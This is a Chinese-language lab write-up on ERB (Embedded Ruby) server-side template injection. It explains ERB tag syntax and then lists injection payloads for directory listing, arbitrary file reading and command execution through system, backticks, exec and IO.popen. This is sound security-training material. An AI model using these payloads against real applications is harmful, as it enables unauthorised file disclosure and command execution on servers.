EBR SSTI
上来第一个lab就是之前没听说过的类型,
嘻嘻
查看第一个商品细节回复的字是url里提取的,打了个${7*7},原样输出,看题目知道是ERB
ERB (Embedded Ruby)
ERB 的全称是 Embedded Ruby,在文本中嵌入Ruby代码
ERB 的基本语法:标签
ERB 通过特定的标签来区分 Ruby 代码和普通文本。这些标签使用 <%
和 %>
作为分隔符。
主要有两种标签:
-
执行标签(Execution Tags):
<% ... %>
- 作用: 只执行其中的 Ruby 代码,但不将结果输出到最终文本中。
- 用途: 主要用于逻辑控制,如条件判断、循环、变量赋值等。
- 示例:
1 2 3 4 5 6 7 8
<% # 这只是一个注释,不会输出 %> <% current_time = Time.now %> <% # 赋值操作,无输出 %> <% if user.logged_in? %> <% # if 条件判断的开始 %> <p>Welcome back!</p> <% end %> <% # if 的结束 %> <% [1, 2, 3].each do |number| %> <% # 循环的开始 %> <p>Number: <%= number %></p> <% end %> <% # 循环的结束 %>
-
输出标签(Output Tags):
<%= ... %>
- 作用: 执行其中的 Ruby 代码,并将结果输出到模板中。注意,如果结果是
nil
,则会输出空字符串。 - 用途: 输出变量、调用方法返回值等一切需要展示在最终文本中的内容。
- 示例:
1 2 3
<h1>Welcome, <%= user.name %></h1> <% # 输出用户名字 %> <p>The time is <%= current_time %></p> <% # 输出时间变量 %> <p>Result: <%= 2 * 2 %></p> <% # 输出 4 %>
- 作用: 执行其中的 Ruby 代码,并将结果输出到模板中。注意,如果结果是
非常重要的注意点:混淆 <%
和 <%=
是初学者最常见的错误。
- 用
<%
来输出内容会导致内容丢失。 - 用
<%=
来执行逻辑(如循环)通常会报错,因为它会尝试输出一个可能不期望输出的值(如nil
或一个数组对象)。
CTF 应用
虽然说很多但用发也简单,因为有ruby环境,所以自带了很多可以直接用的模块,也不用像其他ssti一样到处找了
文件读取
-
<%= Dir.entries(’/’) %>
-
<%= File.open(’/example/arbitrary-file’).read %>
命令执行
-
<%= system(’ls’)%>
-
<%= `ls`%>
-
<%= exec(’ls’)%>
-
<%= IO.popen(‘ls’).read%>